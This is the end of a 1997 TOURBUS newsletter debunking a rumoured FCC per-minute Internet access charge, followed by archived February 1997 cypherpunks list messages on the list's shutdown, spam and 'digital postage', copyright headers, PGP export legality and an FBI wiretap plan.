     1. It uses official-looking language;

     2. It mentions a government agency or an organization with
        which everyone is familiar;

     3. It contains a plea for you to take some sort of immediate
        action; and

     4. It requests that you forward the warning letter to as many
        people as possible.

Besides, according to an article that appeared in this morning's Edupage,

     ONLINE COMPANIES ASK TELCOS, "WHERE'S THE BEEF?"
     Tired of telephone companies' complaints that Internet usage is
     overwhelming their network capacity, the Internet Access
     Coalition has released findings contending that Net usage is, in
     reality, a bonanza for the Bells.  The study found that local
     carriers received a total of $1.4 billion in 1995 in revenues
     resulting from the installation of second lines in homes, while
     spending only $245 million to beef up their networks for the
     additional usage.  A Bell Atlantic spokesman says the real
     problem is that the telcos have no idea when a line will be used
     for data rather than voice, and thus tied up longer.  Both sides
     agree that the ultimate solution is higher capacity networks.
     (Business Week 17 Feb 97)

Well, out of curiosity -- and out of a deep-felt desire to avoid studying
for the two major economics tests that I have next week -- your fearless
bus driver decided to call the FCC in Washington to see if anyone there was
willing to talk about this rather explosive issue.  Unfortunately, I soon
discovered that the FCC only has one employee, she is a secretary, and her
job is to transfer all incoming telephone calls into voice mail hell.  :)

Actually, I talked to some nice people at the FCC who faxed me a 10 page
explanation of what's *really* going on.  Unfortunately, the 10 page
explanation was written in "FCC-ese," so I am going to have to translate
their explanation into English for you (and I can assure you that, since I
know *NOTHING* about telephony, my translation will probably contain a few
inaccuracies;  if it does, please let me know).

First, some local telephone companies have indeed asked the FCC to allow
them to assess a per minute access charge on the telephone lines used by
Internet Service Providers.  Local telephone companies currently charge
long-distance carriers (like AT&T and MCI) an interstate access charge for
the long-distance traffic that travels over their local lines, and the
local telephone companies would like to see this charge extended to include
the high-speed lines that your local Internet Service Provider uses to
access the Internet.

In December, the FCC rejected the telephone companies' request and
tentatively concluded "that the existing pricing structure for information
services should remain in place."  In other words, the FCC has tentatively
concluded that Internet service providers should *NOT* be subject to the
interstate access charges that local telephone companies currently assess
on long-distance carriers.

The FCC now seeks the public's comments on this conclusion.

Unfortunately, the "warning" letter that is currently circulating around
the Internet gives the impression that some sort of sinister operation is
afoot here, that the FCC and the telephone companies are trying to sneak
this proposal through without anyone noticing, and that it is up to each
and every one of us to stop the evil FCC.

What garbage.  In fact, the FCC has, at least tentatively, REJECTED the
telephone companies' proposal.  The FCC is now simply asking you if you
agree or disagree with their decision.

The most disappointing aspect of this whole situation is that because of
the misinformation that has been distributed across the Internet over the
past couple of weeks, the FCC has received 100,000+ e-mail letters, most of
which flame them for making a decision that EVERYONE AGREES WITH!  Hands
down, the flaming of the FCC is one of the Internet's most shameful acts
ever.

I also discovered another thing about the FCC that increased my respect for
their organization one-hundred-fold.  Part of the 10 page explanation that
the FCC sent me states that their "existing rules have been designed for
traditional circuit-switched voice networks, and thus may hinder the
development of emerging packet-switched data networks."  Because of this,
the FCC is also seeking the public's comments on the implications of the
Internet and its usage through the public switched telephone network.

Folks, *ANY* government agency that stops and says 'hey, we can ALWAYS use
some more information so that we are better prepared for whatever happens
in the future' has earned my respect and admiration.

By the way, most of the information that I have shared with you today can
be found on the FCC's "ISP" homepage at

     http://www.fcc.gov/isp.html

If you would like to send your comments to the folks at the FCC (the
deadline for comments about their decision not to impose interstate access
changes on Internet service providers is Friday, February 14th), make sure
that you check the FCC's ISP Web page first.  At the bottom of this page
are some pretty specific instructions on what you need to put in the
subject line of you e-mail letter before you submit it to the FCC.

Personally, I'm going to leave the poor folks at the FCC alone for a while.
They seem to be doing a great job in the face of unnecessary (and
misinformed) opposition.

TODAY'S ADDRESSES
-----------------
http://www.worldvillage.com/wv/hotel/tourbus/archives.htm
http://www.educom.edu/web/edupage.html
http://www.eff.org/papers/eegtti/eeg_83.html#SEC84
http://www.fcc.gov/isp.html

That's it for this week.  Have a safe and happy weekend, and make sure that
you visit all 3 sponsors who made today's TOURBUS post possible: Mediadome,
Magazines.Com, and ...

*--------------------------- MASS MUSIC -----------------------------*
  More Music For Your Money!  Over 185,000 Titles Just A Click Away.
 FREE Weekly Music Zine - Buy 7 Get 1 FREE Everyday - Treasure Hunt!
      TOURBUS Rider Discount code: SAVENOW! use it and save 5%
*------------------(  http://www.Mass-Music.com  )-------------------*

--------------------------------
TODAY'S SOUTHERN WORD OF THE DAY
--------------------------------

LAYMAN (noun).  A tart fruit.
Usage:  "Hunny, git me some more of that layman aid!"

(Special thanks goes to Tom Bates for today's word)

YOU CAN FIND ALL OF THE OLD SOUTHERN WORDS OF THE DAY ON THE SOUTHERN WORD
HOMEPAGE AT http://ua1vm.ua.edu/~crispen/word.html

======================================================================
 Join  : Send SUBSCRIBE TOURBUS Your Name to LISTSERV@LISTSERV.AOL.COM
 Leave : Send SIGNOFF TOURBUS to LISTSERV@LISTSERV.AOL.COM
 Info  : On the Web at http://www.worldvillage.com/tourbus.htm
 Advertising: E-mail BobRankin@MHV.net w/ Subject: SEND TBRATES
=--------------------------------------------------------------------=
  For info on my new book "Atlas for the Information Superhighway"
     send an e-mail letter to LISTSERV@UA1VM.UA.EDU that says
     GET ATLAS INFO F=MAIL in the body of your e-mail letter
======================================================================

     TOURBUS - (c) Copyright 1997, Patrick Crispen and Bob Rankin
 All rights reserved.  Redistribution is allowed only with permission.
     Send this copy to 3 friends and tell them to get on the Bus!

   (\__/)  .~    ~. ))
   /O O  ./      .'             Patrick Douglas Crispen
  {O__,   \    {               The University of Alabama
    / .  . )    \                crispen@campus.mci.net
    |-| '-' \    }           http://ua1vm.ua.edu/~crispen/
   .(   _(   )_.'
  '---.~_ _ _&                    Warning: squirrels.







From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: omegam@cmq.com
Date: Sat, 15 Feb 1997 00:26:11 -0800 (PST)
To: cypherpunks@toad.com
Subject: Re: Good Bye Cypherpunks!
Message-ID: <199702150826.AAA07213@toad.com>
MIME-Version: 1.0
Content-Type: text/plain


Michael Froomkin writes:
 > Just for the record.  I will not post to USENET given the spamming that
 > seems to go to IDs that appear there.  
 > 
 > If any of you reading this are interested in law&crypto topics, please
 > bookmark my homepage, and vist every so often.

I suggest that you munge up your from line and possibly your reply-to
address in Usenet postings.  Folks who actually want to communicate
with you can derive your address from your .sig.

By the way, I have intentions of including your web page(s) as
references in the cypherpunks-resources faq I am producing.  Any
objections to this? (I know it's in your .sig and you want to
advertise it, but it just strikes me as _polite_ to ask.)

me

-- 
---------------------------------------------------------------------
Omegaman <mailto:omegam@cmq.com>|"When they kick out your front door,
   PGP Key fingerprint =        | How are you gonna come? 
   6D 31 C3 00 77 8C D1 C2      | With your hands upon your head,   
   59 0A 01 E3 AF 81 94 63      | Or on the trigger of your gun?" 
Send email with "get key" as the| -- The Clash, "Guns of Brixton"
"Subject:" to get my public key |   _London_Calling_ , 1980
---------------------------------------------------------------------





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Jim Choate <ravage@einstein.ssz.com>
Date: Sat, 15 Feb 1997 00:26:29 -0800 (PST)
To: cypherpunks@toad.com
Subject: Re: Private property & the cypherpunks list(s) (fwd)
Message-ID: <199702150826.AAA07239@toad.com>
MIME-Version: 1.0
Content-Type: text/plain



Forwarded message:

> From: Kent Crispin <kent@songbird.com>
> Subject: Re: Private property & the cypherpunks list(s) (fwd)
> Date: Fri, 14 Feb 1997 14:10:36 -0800 (PST)

> Jim, if I put "Copyright (c) 1997 by Kent Crispin.  All Rights 
> Reserved." in my .sig, would that constitute a "fair-use header"?

As I understand it '(c)' is not considered acceptably close to the normal
copyright symbol. What I have been advised is to always spell out 'copyright
<date> <person>'.

                                                   Jim Choate
                                                   CyberTects
                                                   ravage@ssz.com






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Steve Schear <azur@netcom.com>
Date: Sat, 15 Feb 1997 00:27:30 -0800 (PST)
To: John Gilmore <gnu@toad.com>
Subject: Re: [Declan McCullagh: "A List Goes Down In Flames," from Netly]
Message-ID: <199702150827.AAA07247@toad.com>
MIME-Version: 1.0
Content-Type: text/plain


I want to thank you for the years of graciously hosting the cypherpunks
list.  Although I have only been active on the list since September, I have
lurked much longer and found it to be an invaluable source of information,
networking, discourse and inspiration.

I respect your decisions first to experiment with moderation and later to
pull the plug.  I regret your attempts in resolving the uncivil behavior of
'the few' failed and that some key posters, who had served as the
'backbone' of interesting discussion on the list, were driven off by the
insuing clamor and the off-topic rants.  So be it.  One way or another the
cypherpunks have spoken.

So, now its on to Usnet and more focused/moderated lists.  The LIST IS
DEAD, long live THE LISTS!

--Steve







From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Jim Choate <ravage@EINSTEIN.ssz.com>
Date: Sat, 15 Feb 1997 00:26:16 -0800 (PST)
To: cypherpunks@toad.com
Subject: Re: Fuck UseNet (fwd)
Message-ID: <199702150826.AAA07223@toad.com>
MIME-Version: 1.0
Content-Type: text/plain



Forwarded message:

> Date: Fri, 14 Feb 1997 14:39:41 -0800 (PST)
> From: Kent Crispin <kent@songbird.com>

> But the distributed mailing list is by far the most interesting 
> solution.  Contrary to what some have claimed, it really isn't the 
> same as usenet -- it allows for distributed control.  There is no 
> doubt that the operator of a mail list host should have the freedom 
> to set his or her policies as they see fit -- it is their machine, 
> and their responsibility.  And contrariwise, subscribers should have 
> the freedom to chose list hosts with compatible philosophies.

Perhaps in addition to the X-foo structures we have discussed already we
might consider adding,

X-distrib-policy: foo

Where foo might be,

         Public Domain
         All rights reserved, contact author for redistribution
         Distribution for non-commercial uses permitted
         Refer to authors header
         Copyleft
         etc.

or whatever the policy might be for a given remailer. This would
significantly aid folks in their shopping around.


                                                    Jim Choate
                                                    CyberTects
                                                    ravage@ssz.com






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: jim bell <jimbell@pacifier.com>
Date: Sat, 15 Feb 1997 00:41:09 -0800 (PST)
To: "John C. Randolph" <cypherpunks@toad.com
Subject: Re: More on digital postage
Message-ID: <199702150841.AAA07715@toad.com>
MIME-Version: 1.0
Content-Type: text/plain


At 03:31 AM 2/14/97 -0800, John C. Randolph wrote:
>
>Tim may says:
>
>>By the way, I think the "junk fax" and "junk phone call" laws are clearcut
>>violations of the First Amendment. I understand why the herd _wants_ these
>>laws, as it reduces the costs involved in replacing fax paper, running to
>>the telephone only to find someone trying to sell something, etc., but it
>>is quite clearly a prior restraint on speech, however well-intentioned.
>
>I have to disagree here.  The junk fax law is a restraint on unauthorised
>use of property, i.e. *my* fax machine, *my* phone, etc. 

However, you connect that fax machine to a phone line, when you know full 
well that should it be enabled to do so, it will automatically pick up the 
phone when it "hears" a ring, and will print out a fax based on information 
provided.  It isn't clear why sending a fax is any "wronger" than mailing 
junk mail, or making a (voice) phone call to somebody.


Jim Bell
jimbell@pacifier.com





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: jim bell <jimbell@pacifier.com>
Date: Sat, 15 Feb 1997 00:41:01 -0800 (PST)
To: Pete Capelli <cypherpunks@toad.com>
Subject: Re: Excerpt on SPAM from Edupage, 11 February 1997
Message-ID: <199702150841.AAA07690@toad.com>
MIME-Version: 1.0
Content-Type: text/plain


At 10:12 AM 2/13/97 -0500, Pete Capelli wrote:
>jim bell wrote:
>> 
>> At 03:25 PM 2/12/97 -0800, Timothy C. May wrote:
>
><Some deleted>
>
>> even more happy to pay, say, 10 cents to each recipient.  At that rate, an average
>> person would probably receive enough "spam" to  pay for his Internet
>> account, quite analogous to the way advertiser-supported TV is presented to
>> the public for no explicit charge.
>
>	Yes, but why does monetary compensation make it then O.K.? 


What, exactly, is your definition of "O.K."?    I didn't say that would make 
it "O.K."   Rather, the inclusion of the money makes the spam somewhat more 
tolerable of an intrusion than it would otherwise be.


Jim Bell
jimbell@pacifier.com





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: jim bell <jimbell@pacifier.com>
Date: Sat, 15 Feb 1997 00:41:12 -0800 (PST)
To: snow <pete@ubisg.com>
Subject: Re: Excerpt on SPAM from Edupage, 11 February 1997
Message-ID: <199702150841.AAA07716@toad.com>
MIME-Version: 1.0
Content-Type: text/plain


At 02:05 AM 2/14/97 -0600, snow wrote:
>Pete:
>> 	Yes, but why does monetary compensation make it then O.K.?  I'd rather
>> pay for my Internet access, then be bombarded by spam, no matter what
>> they paid me!  I think the best soln. is the one that is currently in
>> place for phone calls - they can call once, but if I tell them not to
>> call me again and they do, I can then begin legal action against them. 
>> I pay more per month for my phone service than my Internet service (
>> although in NY, *everything* is more expensive. ), and junk phone calls
>> are way more intrusive then spam.
>
>	I figure if this scheme comes to fruition, I'll just set up a seperate
>account (or procmail) to filter out the spam, deposit the coin, and go on
>about my business.


That's fine...that's EXACTLY the way the system would work!  Intentionally 
so!  The purpose of the payment is not because the sender feels some sort of 
legal obligation to pay; rather it's analogous to a tip to a waiter.

The sender makes the payment based on however much he _wants_ you to pay 
attention to his message, but fully aware that there is no guarantee that 
you'll do so.  

Jim Bell
jimbell@pacifier.com





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: snow <snow@smoke.suba.com>
Date: Sat, 15 Feb 1997 00:26:20 -0800 (PST)
To: aaron@herringn.com
Subject: Re: Cypherpunks afraid of spam?
Message-ID: <199702150826.AAA07228@toad.com>
MIME-Version: 1.0
Content-Type: text/plain


> It seems very strange that the denziens of this list, reputed to be gutsy
> enough to take on the FBI, NSA, CIA, and White House, would be scared
> away from a discussion forum (Usenet) by uninvited email.
> We'd better hope they never figure out Cypherpunks, Guardians of
> Privacy and Defenders of Free Speech, are afraid of spam.

	It isn't the Once and a While Big Ass Knock Down Drag Outs that kick
your ass, it is the mosquito's and the heat, the moldy bread and the drip
drip drip of the constant rain. 

	Even Solid rock gets worn away by the steady drip drip drip of the 
rain. I hate that drip. 






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Jim Choate <ravage@EINSTEIN.ssz.com>
Date: Sat, 15 Feb 1997 00:26:22 -0800 (PST)
To: cypherpunks@toad.com
Subject: Re: Private property & the cypherpunks list(s) (fwd)
Message-ID: <199702150826.AAA07234@toad.com>
MIME-Version: 1.0
Content-Type: text/plain



Forwarded message:

> Date: Fri, 14 Feb 1997 17:39:32 -0800
> From: Toto <toto@sk.sympatico.ca>
> Subject: Re: Private property & the cypherpunks list(s) (fwd)

>   Personally, I try to let people know that they may use even my 
> private email in any manner they see fit. I have no objection to
> even those who disagree with me using it to attack me or misdirect
> others, or whatever.
>   I agree with Jim's 'defacto public domain' idea, as long as it 
> does not conflict with the reality of the need for intellectual
> property rights.
>   e.g. - copyright and patent law

I am not preventing people from retaining their rights. I simply recognize
that there are entirely too many different views of 'fair use' to create a
blanket order. I also recognize that one responsibility in a democracy of
all citizens is the protection of the results of human effort. The best way
to protect and preserve information is to place it in the public domain. Of
course the other option is to sell large 'collections' to groups like
Microsoft who would end up charging you out the ya-ya for looking at 'their'
pretty pictures. Wonder what DaVinci would have thought of the way we treat
HIS paintings? But I digress. Given that people have many highly
individualistic views about copyright of their expression and the need to
preserve that expression we must ask ourselves how? One obvious answer is to
place everything in the public domain, I am shure the information race we
experience now would be nothing compared to that worlds output. However,
this prevents truly gifted individuals from being able to spend the time (eg
lifetimes) needed to truly master some forms of expression. We certainly
don't want to support them on the public dole, so there must be some way for
them to make a living off their work. So we recognize their originality or
inherent worth in their expression. We also recognize that there can't be
complete and total protection because most people would not find a buyer for
their expression simply from lack of knowledge. So, lets find a middle
ground, one where people can tell other people about things they experience
as well as feel secure that their efforts have some inherent worth and also
some failsafe to ensure that as much effort as possible gets archived. So
let's require each person to include their prefered choice of copyright in
their communications, otherwise it falls into the public domain.

The only resolution of this approach is that everyone gets what they want.

Not relevant in this forum, but I also believe that material being held in
copyright should fall into the public domain when the copyright holder dies.

>   If you are having trouble understanding the concept I am dealing
> with, here, then I suggest that you drink a bottle of Scotch and
> read this post again.

That's certainly one way to get in the correct attitude...;)


                                                 Jim Choate
                                                 CyberTects
                                                 ravage@ssz.com






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: jim bell <jimbell@pacifier.com>
Date: Sat, 15 Feb 1997 00:41:13 -0800 (PST)
To: "Robert Rothenburg 'Walking-Owl'" <WlkngOwl@unix.asb.com>
Subject: Re: Letter Re: Kahn Supporting GAK
Message-ID: <199702150841.AAA07717@toad.com>
MIME-Version: 1.0
Content-Type: text/plain


At 09:35 PM 2/5/97 +0000, Robert Rothenburg 'Walking-Owl' wrote:
>Good point: but I've seen a few refs from LEAs about "Drug Dealer X 
>who we can't talk about" or "Child Pornographer Y who we can't talk 
>about" (in lieu of cases being digested by the court system) so I 
>didn't harp on that point.
>
>A point I did leave out was that if they already knew these people 
>were criminals and were building cases against them, monitoring them 
>enough to know they used crypto, then do they really need to bother 
>with listening in to the exact message?


I think it would be appropriate to insist that these guys (the LEAs) 
document their need for decryption, by providing "us" (the public) with an 
encrypted version of the data that they have accessed but cannot understand, 
as well as its source and what case it's associated with.  The LEAs would 
encrypt it and publicize it (not openly identifying the details) but with 
the promise that the key to unlock the information would be released within, 
say, a year or even earlier once a case is brought.  Included within the 
encrypted identification would be references sufficient to identify the case 
involved.

If they have any doubts as to why they should do this, we should point out 
that we see no reason to believe their claims, but we want to give them the 
maximum opportunity to prove them without requiring that they spill the 
beans, completely, now.   

Jim Bell
jimbell@pacifier.com





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Scott Auge <scotta@sauge.com>
Date: Sat, 15 Feb 1997 00:25:57 -0800 (PST)
To: "Scott A. Hommel" <shommel@zoo.uvm.edu>
Subject: Re: pgp encrypted messages
Message-ID: <199702150825.AAA07169@toad.com>
MIME-Version: 1.0
Content-Type: text/plain


Scott A. Hommel wrote:
> 
> -----BEGIN PGP SIGNED MESSAGE-----
> 
> Is it legal or illegal to send a
> PGP encrypted message from the US to someone in another country?
> 

Suppose it depends on what ya put IN the message....

-- 
How has the government interfered in your life today?





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: "Michael Froomkin - U.Miami School of Law" <froomkin@law.miami.edu>
Date: Sat, 15 Feb 1997 00:42:51 -0800 (PST)
To: Adam Shostack <adam@homeport.org>
Subject: Re: Good Bye Cypherpunks!
Message-ID: <199702150842.AAA07769@toad.com>
MIME-Version: 1.0
Content-Type: text/plain


Yes, I get spam too.  But it's still less than the spam directed at an old
account on another machine, that posted regularly to usenet until about 3
years ago!  And hasn't been used at all since...


On Fri, 14 Feb 1997, Adam Shostack wrote:

> Date: Fri, 14 Feb 1997 18:38:24 -0500 (EST)
> From: Adam Shostack <adam@homeport.org>
> To: "Michael Froomkin - U.Miami School of Law" <froomkin@law.miami.edu>
> Cc: shamrock@netcom.com, tcmay@got.net, cypherpunks@toad.com
> Subject: Re: Good Bye Cypherpunks!
> 
> Michael Froomkin - U.Miami School of Law wrote:
> | Just for the record.  I will not post to USENET given the spamming that
> | seems to go to IDs that appear there.  
> 
> 	Your postings appear on the web, as part of the cypherpunks
> archives at infinity.nus.sg.
> 
> http://infinity.nus.sg/cypherpunks/current/0089.html
> 
> 	There seem to be robots that search the web; I've never even
> read usenet from this account, and I get spam.
> 
> Adam
> 
> 
> -- 
> "It is seldom that liberty of any kind is lost all at once."
> 					               -Hume
> 
> 

==
The above may have been dictated via Dragon Dictate 2.52 voice
recognition. Please be alert for unintentional word substitutions. 

A. Michael Froomkin        | +1 (305) 284-4285; +1 (305) 284-6506 (fax)
Associate Professor of Law |
U. Miami School of Law     | froomkin@law.miami.edu
P.O. Box 248087            | http://www.law.miami.edu/~froomkin
Coral Gables, FL 33124 USA | It's warm here. 






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: "Michael Froomkin - U.Miami School of Law" <froomkin@law.miami.edu>
Date: Sat, 15 Feb 1997 00:41:03 -0800 (PST)
To: paul@fatmans.demon.co.uk
Subject: Re:
Message-ID: <199702150841.AAA07706@toad.com>
MIME-Version: 1.0
Content-Type: text/plain


[cc list trimmed!]

On Fri, 14 Feb 1997 paul@fatmans.demon.co.uk wrote:

> 
> > Is it legal or illegal to send a 
> > PGP encrypted message from the US to someone in another country?
> 
> Yes.
> 

Rubbish.  It is perfectly legal.  See generally
http://www.law.miami.edu/~froomkin/articles/clipper.htm

PS. His sexist comments are rubbish too.  I usually like his crypto posts,
however, as long as they are technical rather than legal...

==
The above may have been dictated via Dragon Dictate 2.52 voice
recognition. Please be alert for unintentional word substitutions. 

A. Michael Froomkin        | +1 (305) 284-4285; +1 (305) 284-6506 (fax)
Associate Professor of Law |
U. Miami School of Law     | froomkin@law.miami.edu
P.O. Box 248087            | http://www.law.miami.edu/~froomkin
Coral Gables, FL 33124 USA | It's warm here. 






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: ichudov@algebra.com
Date: Sat, 15 Feb 1997 00:43:23 -0800 (PST)
To: jim bell <jimbell@pacifier.com>
Subject: Re: Excerpt on SPAM from Edupage, 11 February 1997
Message-ID: <199702150843.AAA07793@toad.com>
MIME-Version: 1.0
Content-Type: text/plain


jim bell wrote:
> At 02:05 AM 2/14/97 -0600, snow wrote:
> >Pete:
> >> 	Yes, but why does monetary compensation make it then O.K.?  I'd rather
> >> pay for my Internet access, then be bombarded by spam, no matter what
> >> they paid me!  I think the best soln. is the one that is currently in
> >> place for phone calls - they can call once, but if I tell them not to
> >> call me again and they do, I can then begin legal action against them. 
> >> I pay more per month for my phone service than my Internet service (
> >> although in NY, *everything* is more expensive. ), and junk phone calls
> >> are way more intrusive then spam.
> >
> >	I figure if this scheme comes to fruition, I'll just set up a seperate
> >account (or procmail) to filter out the spam, deposit the coin, and go on
> >about my business.
> 
> 
> That's fine...that's EXACTLY the way the system would work!  Intentionally 
> so!  The purpose of the payment is not because the sender feels some sort of 
> legal obligation to pay; rather it's analogous to a tip to a waiter.
> 
> The sender makes the payment based on however much he _wants_ you to pay 
> attention to his message, but fully aware that there is no guarantee that 
> you'll do so.  

I can suggest a scheme where a fee would be attached to the message,
and the recipient would be able to get the money only after having
read and understood the message.

For example, you might receive the following message (it could be encrypted
by your public key to preserve the cash from the MITM):

To: jimbell@pacifier.com
From: spammer@dm1.com (Direct Marketing, by way of telysis.com)
Subject: an encrypted cyberdollar for you
X-Encrypted-Postage: 0891281229qwqoifoweihjrfiohsdlifhsluire82374029849
                     weuiyruiy3478ye874t23876459823y4897y5897y23849y589
                     39847578r3498yt893y75t9843y75t897y4385t9y74897gy77
X-Encryption-Key: in the message body

Dear Jim,

Here's one cyberdollar for you. It is "locked" by an encryption key. The
cybercoin is encrypted by an IDEA key and you can find out the key
by reading the message below:

@ @ @ @ @ @ @ @ @ @ @ @ @ @ @ @ @ @ @ @ @ @ @ @ @ @ @ @ @ @ @ @ @ @ @ 
Valentines' day presents at www.cheap-stuff.com!

An ideal Valentine's day present for your significant other, at a 
reduced cost for you! You can buy your loved one a thousand used 
condoms (mint condition) at a reduced rate of ONLY $5.95!

Visit us at http://www.cheap-stuff.com/cgi-bin/condoms/key.cgi?name=jimbell
to get your postage!
@ @ @ @ @ @ @ @ @ @ @ @ @ @ @ @ @ @ @ @ @ @ @ @ @ @ @ @ @ @ @ @ @ @ @ 

The encryption key is located at the URL above.

###########################################################################

My opinion on this: I personally feel that this scheme is the way to 
go for spammers. Obviously, it is possible to build mail readers that 
would verify some kind of trusted signature on the attached postage, and
would highlight all such messages. The meaning of signature is "these
people are not crooks, there really is an encrypted dollar there".

Clearly, spammers who pay their readers to read their messages (and who
do get them to read) will have a very high response rate. That may 
justify adding postage to their letters.

The advantages are obvious. The disadvantage is a possibility of someone
stealing the money on the way, if the letters are not encrypted.

	- Igor.





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: ichudov@algebra.com
Date: Sat, 15 Feb 1997 00:42:49 -0800 (PST)
To: snow <snow@smoke.suba.com>
Subject: Re: Excerpt on SPAM from Edupage, 11 February 1997
Message-ID: <199702150842.AAA07768@toad.com>
MIME-Version: 1.0
Content-Type: text/plain


snow wrote:
> 
> Igor said:
> > I can suggest a scheme where a fee would be attached to the message,
> > and the recipient would be able to get the money only after having
> > read and understood the message.
> > 
> > For example, you might receive the following message (it could be encrypted
> > by your public key to preserve the cash from the MITM):
> 
> > do get them to read) will have a very high response rate. That may 
> > justify adding postage to their letters.
> > 
> > The advantages are obvious. The disadvantage is a possibility of someone
> > stealing the money on the way, if the letters are not encrypted.
> 
> 	That would be great. Sit home all day and hit web pages for a living.
> 

Well, they will stop sending you money if they find out that you do not buy
their products.

	- Igor.





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: snow <snow@smoke.suba.com>
Date: Sat, 15 Feb 1997 00:41:08 -0800 (PST)
To: ichudov@algebra.com
Subject: Re: Excerpt on SPAM from Edupage, 11 February 1997
Message-ID: <199702150841.AAA07714@toad.com>
MIME-Version: 1.0
Content-Type: text/plain


Igor said:
> I can suggest a scheme where a fee would be attached to the message,
> and the recipient would be able to get the money only after having
> read and understood the message.
> 
> For example, you might receive the following message (it could be encrypted
> by your public key to preserve the cash from the MITM):

> do get them to read) will have a very high response rate. That may 
> justify adding postage to their letters.
> 
> The advantages are obvious. The disadvantage is a possibility of someone
> stealing the money on the way, if the letters are not encrypted.

	That would be great. Sit home all day and hit web pages for a living.






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Bryan Reece <reece@taz.nceye.net>
Date: Sat, 15 Feb 1997 00:27:55 -0800 (PST)
To: paul@fatmans.demon.co.uk
Subject: Re: Fuck UseNet
Message-ID: <199702150827.AAA07251@toad.com>
MIME-Version: 1.0
Content-Type: text/plain


   Delivered-To: reece-cpunks@taz.nceye.net
   Delivered-To: reece@taz.nceye.net
   Date: Fri, 14 Feb 1997 19:02:19 +0000
   From: paul@fatmans.demon.co.uk
   Cc: cypherpunks@toad.com, cypherpunks@algebra.com,
	   alt.cypherpunks@news.demon.net
   Sender: owner-cypherpunks@toad.com
   Precedence: bulk


   >   So, basically, you're saying that the flight from censorship should
   > be toward a new CypherPunk 'home' where one is effectively censored
   > automatically unless one kisses the ass of a Cabal?

   Absolutely, It is really, as far as I see it anyway, just a stop-gap 
   measure. The caballers haven`t got enough room to do their censorship 
   on the 18000 or so big 7 groups so they decide to fuck up the alt. 
   heirachy as well ;-)

   Hopefully Igor and co.`s network of Majordomo's should be fully 
   operational soon (as I understand it two are up and a third is on 
   it's way) then we can move back there. Might even get it finished 
   before the 20th?????

Why not a network of news servers with mail<->news gateways on some of
them?  It should even be possible to use the news spool as the queue,
so that only info on who needs what messages need lie around rather
than 42 copies of the message (something like nntpsend, just using
smtp).  I actually have some spare time this weekend to try
implementing this.





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: "E. Allen Smith" <EALLENSMITH@ocelot.Rutgers.EDU>
Date: Sat, 15 Feb 1997 07:41:07 -0800 (PST)
To: ravage@EINSTEIN.ssz.com
Subject: Re: Fuck UseNet (fwd)
Message-ID: <199702151541.HAA23094@toad.com>
MIME-Version: 1.0
Content-Type: text/plain


From:	IN%"ravage@EINSTEIN.ssz.com"  "Jim Choate" 15-FEB-1997 07:11:54.43

>Perhaps in addition to the X-foo structures we have discussed already we
>might consider adding,

>X-distrib-policy: foo

>Where foo might be,

>         Public Domain
>         All rights reserved, contact author for redistribution
>         Distribution for non-commercial uses permitted
>         Refer to authors header
>         Copyleft
>         etc.

>or whatever the policy might be for a given remailer. This would
>significantly aid folks in their shopping around.

	The basic difficulty with this idea is that _senders_ generally
don't have much of a choice where the messages go, once you've decided
to accept them. In other words, just because you've decided to accept
a message doesn't mean it suddenly becomes
copyleft/public domain/whatever. Now, if you, say, announced that only
subscribers to your particular list, subscribers to any other lists
adopting the same idea, and those who'd sign a consent agreement could
post through your list, that wouldn't be a problem... although I
suspect you wouldn't get many subscribers.
	-Allen





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Dale Thorn <dthorn@gte.net>
Date: Sat, 15 Feb 1997 09:26:06 -0800 (PST)
To: Kent Crispin <kent@songbird.com>
Subject: Re: Private property & the cypherpunks list(s)
Message-ID: <199702151726.JAA27025@toad.com>
MIME-Version: 1.0
Content-Type: text/plain


Kent Crispin wrote:
> ichudov@algebra.com allegedly said:
> > Firebeard wrote:
> > > >>>>> Igor Chudov @ home writes:
> > >     And once I'm up and running, my cypherpunks list server will
> > > not be interconnected with any server which has a similar AUP.  The
> > > implication of the AUP is that if you _don't_ comply with it, you will
> > > be blocked.  Without such an implication, the AUP is meaningless, and
> > > I'm dedicated that there should be no filtering/blocking of any kind,
> > > of the list.  Persons behaving 'unacceptably' should be handled by
> > > social pressures by others in the 'community' of the list, and not by
> > > policies of the list operators.

> I can understand this sentiment, given the events of the past couple
> of months, but it seems short-sighted.  If this scheme grows there
> could be several hundred or more mailers involved, and there is no
> technical reason why moderated lists couldn't be included.
> Remember that each list operator actually represents a community of
> users, users who are *free* to go elsewhere if they choose.  Clearly,
> some people would chose to populate a filtered list.  There is no
> reason whatsoever to discriminate against them.

There could be, but that would be on a case-by-case basis.  There
are times when carrying a censored feed that you'd be giving tacit
approval to the censorship itself.  Again, case-by-case basis.






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: John Young <jya@pipeline.com>
Date: Sat, 15 Feb 1997 07:55:58 -0800 (PST)
To: cypherpunks@toad.com
Subject: FBI_100
Message-ID: <199702151555.HAA23608@toad.com>
MIME-Version: 1.0
Content-Type: text/plain


2-15-97. NYP:

"Phone Companies Balk At Latest Plan by FBI." Markoff.

   Telcos are arguing that the new system will be far more
   intrusive and expensive than industry first thought, and
   would expand LEA wiretap capabilities 100-fold. "This is
   kind of scary. What does the FBI know about our future
   that we don't?"

-----

FBI_100

----------

See the FBI's latest wiretap plan at:

   http://jya.com/fbi011497.txt






